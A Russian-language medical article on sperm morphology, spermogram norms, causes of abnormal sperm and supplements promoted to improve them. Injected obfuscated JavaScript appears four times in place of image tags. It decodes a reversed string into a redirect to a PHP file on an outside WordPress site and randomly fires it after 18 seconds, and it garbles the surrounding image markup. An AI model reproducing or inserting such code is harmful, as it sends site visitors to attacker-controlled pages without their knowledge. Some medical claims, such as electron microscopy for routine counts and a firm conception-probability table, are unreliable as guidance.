Изучение морфологии сперматозоидов: оценка и способы коррекции

Согласно данным статистики, каждая десятая пара в мире является бездетной. В ряде ситуаций в основе отсутствия наступления беременности лежит женская патология, однако и с мужчин снимать ответственность не стоит. Примерно в каждом пятом случае основной причиной невозможности зачатия является патология мужской половой сферы, и первым анализом, назначаемым для правильной постановки диагноза, является спермограмма. Одним из основных показателей, характеризующих качество спермы, является морфология сперматозоидов — оценка их внешнего вида. Любое нарушение морфологии сперматоцитов может привести к проблемам с зачатием, а в случае слияния яйцеклетки с некачественным сперматозоидом возможны нарушения вынашивания или даже рождение нежизнеспособного плода.

Что представляет собой спермограмма

Этот вид анализа позволяет оценить состояние спермы — биологической жидкости, вырабатываемой мужскими половыми железами, и тем самым проанализировать способность мужского организма к оплодотворению яйцеклетки. При этом происходит оценка состава как жидкой части спермы (её вязкости, консистенции, объёма, цвета, запаха), так и самих мужских половых клеток, которые называются сперматозоидами. Каждый из них состоит из головки, тела и хвоста, оценка их внешнего вида является составляющей их морфологической оценки. Любая патология в виде удвоения или, наоборот, недоразвития части сперматозоида способна привести к нарушению их функции.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bb66739ab3ef-728×410.jpg» alt=»Строение сперматозоида» width=»728″ height=»410″ /> Сперматозоид с нормальной морфологией имеет головку овальной формы, переходящую в тело и заканчивающуюся хвостом

Каждая часть сперматозоида призвана выполнять определённую функцию:

  • головка является основной составляющей сперматозоида, поскольку именно в ней сосредоточена генетическая информация — набор хромосом, который отец должен передать будущему ребёнку; в норме она должна иметь правильную овальную форму, длину 4–5 мкм, ширину 2,5–3,5 мкм;
  • тело выполняет роль энергетической субстанции — в нём находятся специальные органеллы, которые вырабатывают энергию и называются митохондриями;
  • хвост является самой длинной частью мужской половой клетки, обеспечивающей её подвижность; он должен быть равномерно утолщён по всей длине, может быть слегка изогнут на конце.

Подсчёт количества морфологически правильных, «идеальных» сперматозоидов производят при оценке расширенной морфологии с использованием критериев Крюгера. Относительное количество морфологически не изменённых, «нормальных» сперматозоидов должно быть не менее 4%.

Нормальная морфология сперматозоидов обеспечивает высокую вероятность того, что здоровый сперматоцит благодаря своим поступальным движениям в состоянии будет достичь яйцеклетки и оплодотворить её. В то же время следует отметить, что при недостаточном количестве морфологически полноценных сперматозоидов в условиях отсутствия конкуренции женскую половую клетку может оплодотворить сперматозоид с нарушенной морфологией, что может привести к нежелательным последствиям в виде невынашивания беременности или возникновения пороков развития плода.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bb66a7f6ba69-728×485.jpg» alt=»Подсчёт количества сперматозоидов» width=»728″ height=»485″ /> Изучение морфологии, количества сперматозоидов, а также степени их подвижности проводят при помощи электронной микроскопии

К нарушению морфологии сперматозоидов можно отнести следующие формы:

  • удвоение или отсутствие головки;
  • изменение размеров и формы головки;
  • удвоение тела;
  • укорочение или удлинение хвоста, его неравномерное утолщение по всей длине;
  • хвост располагается по отношению к телу под острым углом, отмечается удвоение или расщепление хвоста.

Спермограмма с расширенной морфологией

Этот анализ не входит в перечень обязательных при оценке способностей мужчины к зачатию, но может назначаться, например, при подготовке к экстракорпоральному оплодотворению (зачатию в пробирке). Врач должен оценить, достаточно ли у мужчины полноценных половых клеток для того, чтобы провести сеанс искусственного оплодотворения, или необходимо предварительно потенцировать их выработку. Кроме морфологической оценки сперматозоидов, при расширенной спермограмме проводят также биохимический анализ спермы и тест на выявление антиспермальных антител (иммунных белков, действие которых направлено на уничтожение сперматозоидов).

Под «идеальными» сперматозоидами подразумевают такие, которые не имеют отклонений в строении головки, тела и хвоста:

  • головка должна иметь овальную форму;
  • длина тела должна быть в полтора раза больше длины головки;
  • хвост должен иметь одинаковую толщину по всей длине;
  • хвост не должен закручиваться;
  • длина головки должна быть примерно в 10 раз меньше длины хвоста.

В соответствии с данными Всемирной организации здравоохранения, у здоровых мужчин не абсолютно все сперматозоиды подпадают под эти критерии, их количество колеблется от 40 до 60%. В то же время удельный вес «идеальных» сперматозоидов, оцениваемый в 4%, является пороговой концентрацией для обеспечения способности таких клеток к зачатию.

Таблица: зависимость вероятности зачатия от морфологии сперматозоидов

Удельный вес «нормальных»
сперматозоидов
Вероятность зачатия
До 4% Отсутствует
От 4 до 14% Низкая
От 14 до 40% Средняя
Выше 40% Высокая

Показания к проведению анализа

Изучение морфологии мужских половых клеток в составе спермографии назначают для изучения способностей мужчины к зачатию, при выяснении причин бесплодия пары, перед проведением искусственного оплодотворения. Также этот анализ должен предшествовать процедуре криоконсервирования спермы (замораживания с целью длительного сохранения) и проводиться с целью контроля эффективности проведенного лечения заболеваний мужской половой сферы. Обязательно назначение расширенной спермограммы для мужчин, которые готовятся стать донорами спермы. В отдельных случаях проведение этого анализа назначают с целью оценки выполненной мужской стерилизации (чтобы убедиться в полном отсутствии сперматозоидов в эякуляте).

Как проводится анализ

К забору материала для проведения спермограммы необходимо тщательно подготовиться. Требуется полное половое воздержание на протяжении 3–4 дней перед сдачей спермы, такой же период времени не стоит посещать сауну и употреблять спиртные напитки. В идеале следует проводить забор материала непосредственно в клинике, однако в ряде случаев, когда мужчина из-за психологических проблем не в состоянии собрать эякулят, допускается забор материала в специальный стерильный контейнер в удобной для него обстановке. При этом стоит отметить, что собранную сперму необходимо доставить в лабораторию в течение часа с соблюдением температурного режима, не переохлаждая и не перегревая биологическую жидкость. Не допускается забор эякулята в презерватив, поскольку имеющаяся в нём смазка способна исказить результаты исследования. Здесь следует отметить, что не каждая лаборатория соглашается исследовать материал, доставленный извне.

Видео: как подготовиться к проведению анализа

Расшифровка спермограммы

Проведение анализа включает в себя два этапа. На первом проводится макроскопическая (визуальная) оценка собранной спермы. Норме должны соответствовать следующие показатели.

Таблица: макроскопическая оценка эякулята

Показатель Его значение в норме
Количество не менее 1,5 мл
Цвет серовато-белый
Мутность мутная
Скорость разжижения 10–60 мин
рН 7,2–8,0
Запах характерный для спермина
Слизь отсутствует

После макроскопической оценки проводится микроскопическое изучение подвижности сперматозоидов. Для обеспечения способности к зачатию удельный вес прогрессивно подвижных сперматозоидов должен быть не менее 32%. Чем больше будет в эякуляте подвижных сперматозоидов, совершающих активные поступательные движения, тем выше вероятность того, что один из них достигнет яйцеклетки и совершит её оплодотворение. Другим не менее важным параметром, изучаемым при проведении микроскопического исследования, и является морфология сперматозоидов.

Видео: изучение морфологии сперматозоидов

Кроме изучения подвижности сперматозоидов, проводят изучение их количества. Если в эякуляте половые клетки не обнаруживаются вообще, это состояние называется азооспермией. Если количество сперматозоидов меньше 20 млн в 1 мл эякулята, диагностируют олигозооспермию.

Причины плохой морфологии сперматозоидов

Нарушение нормальной морфологии и количества сперматозоидов может быть связано с наличием хронических воспалительных процессов, протекающих в органах малого таза и поражающих половую систему мужчины. В первую очередь речь идёт о заболеваниях, передающихся половым путём — гонорее, трихомониазе, сифилисе. Причиной нарушения сперматогенеза (процесса формирования мужских половых клеток) могут быть также заболевания, поражающие ткань яичек, например, паротит, а также рубцовые процессы, варикоцеле (варикозное расширение вен яичка). Очень часто изменения в спермограмме наблюдаются при простатите.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bb71d7fd148c-728×545.png» alt=»Инфекции, передающиеся половым путём» width=»728″ height=»545″ /> Одной из причин нарушения нормального образования сперматозоидов являются инфекции, передающиеся половым путём

На процесс формирования сперматозоидов может оказать губительное влияние воздействие радиации, рентгеновского облучения, паров ртути и свинца, хроническая интоксикация, в том числе алкогольная. В основе нарушения нормального формирования мужских половых клеток также могут лежать генетические аномалии и гормональные нарушения. Постоянное наличие стрессовых ситуаций также является неблагоприятным фоном для нормального течения сперматогенеза.

Возможность иметь детей при отклонении показателей от нормы

Существует мнение, что даже один нормальный сперматозоид бывает в состоянии достигнуть женской половой клетки и оплодотворить её, однако шансы эти минимальны. Если количество морфологически не изменённых сперматозоидов составляет менее 4%, вероятность биологического отцовства практически равна нулю. В случае, если количество морфологически нормальных клеток составляет от 4 до 14%, возможность иметь детей появляется при использовании метода экстракорпорального оплодотворения (ЭКО). Если же количество морфологически не изменённых клеток превышает 14%, у мужчины есть все шансы стать отцом естественным путём, причём эти шансы увеличиваются в прямой зависимости от качества морфологии сперматоцитов. В то же время стоит отметить, что в разных лабораториях, проводящих изучение спермограммы, могут быть свои показатели нормы, и ориентироваться следует на них. В целом же шансы на беременность существуют даже при наличиии минимального количества жизнеспособных сперматозоидов, и, наоборот, некоторым парам не удаётся забеременеть даже при отличных показателях спермограммы.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bb76907143ce-728×309.jpg» alt=»Оплодотворение» width=»728″ height=»309″ /> Для того чтобы произошло оплодотворение, необходимо определённое количество морфологически не изменённых, подвижных, жизнеспособных сперматозоидов

Коррекция плохих показателей морфологии сперматозоидов

Из различных источников следует, что улучшить морфологию сперматозоидов — не такая уж и простая задача. Терапия должна быть комплексной и направленной на нормализацию образа жизни, отказ от вредных привычек, лечение хронических воспалительных процессов. Мужчине рекомендуют больше двигаться и чаще бывать на свежем воздухе, принимать витаминные комплексы, особенно те, в состав которых входит цинк и селен. Рекомендуется пересмотр привычного рациона и включение в меню большого количества орехов, мёда и тыквенных семечек, свежих овощей и фруктов, отказ от жирной и калорийной пищи, приводящей к активизации выработки женских половых гормонов эстрогенов. Помимо перечисленных мероприятий, назначают препараты, улучшающие качество вырабатываемых сперматозоидов:

  • Профертил — биологически активная добавка, в состав которой входят L-карнитин, L- аргинин, коензим Q10, способствующие нормализации репродуктивных функций и выработке максимального количества здоровых сперматозоидов;
  • Сперматон — помимо L-карнитина, также содержит цинк и витамин Е;
  • Спеман — препарат растительного происхождения (на основе ятрышника, латука и других компонентов), помогает бороться с воспалительными процессами в предстательной железе, в результате чего улучшается состав и объём спермы, в том числе увеличивается количество морфологически полноценных сперматозоидов;
  • СпермАктин (в основе L-карнитин) — улучшает качественные и количественные показатели семенной жидкости, активизирует сперматогенез, увеличивает подвижность и концентрацию сперматозоидов, повышает оплодотворяющие свойства эякулята, снижает удельный вес морфологически изменённых форм мужских половых клеток;
  • Спермаплант (в составе L-карнитин, L-аргинин, таурин, экстракт крапивы) — улучшает качественные показатели спермы, повышает жизнеспособность и двигательную активность сперматозоидов, стабилизирует мембраны мужских половых клеток, что способствует их лучшему функционированию, а также нормализует общее самочувствие мужчины, способствует повышению жизненного тонуса.

Спермограмма является основным анализом, позволяющим оценить способность мужчины к оплодотворению яйцеклетки. На современном этапе наибольшую информативность имеют два показателя — количество подвижных сперматозоидов с активными поступательными движениями и концентрация морфологически не изменённых мужских половых клеток. В случае отклонения от нормы показано проведение лечебных мероприятий, направленных на нормализацию морфологической картины спермограммы.

Adblock
detector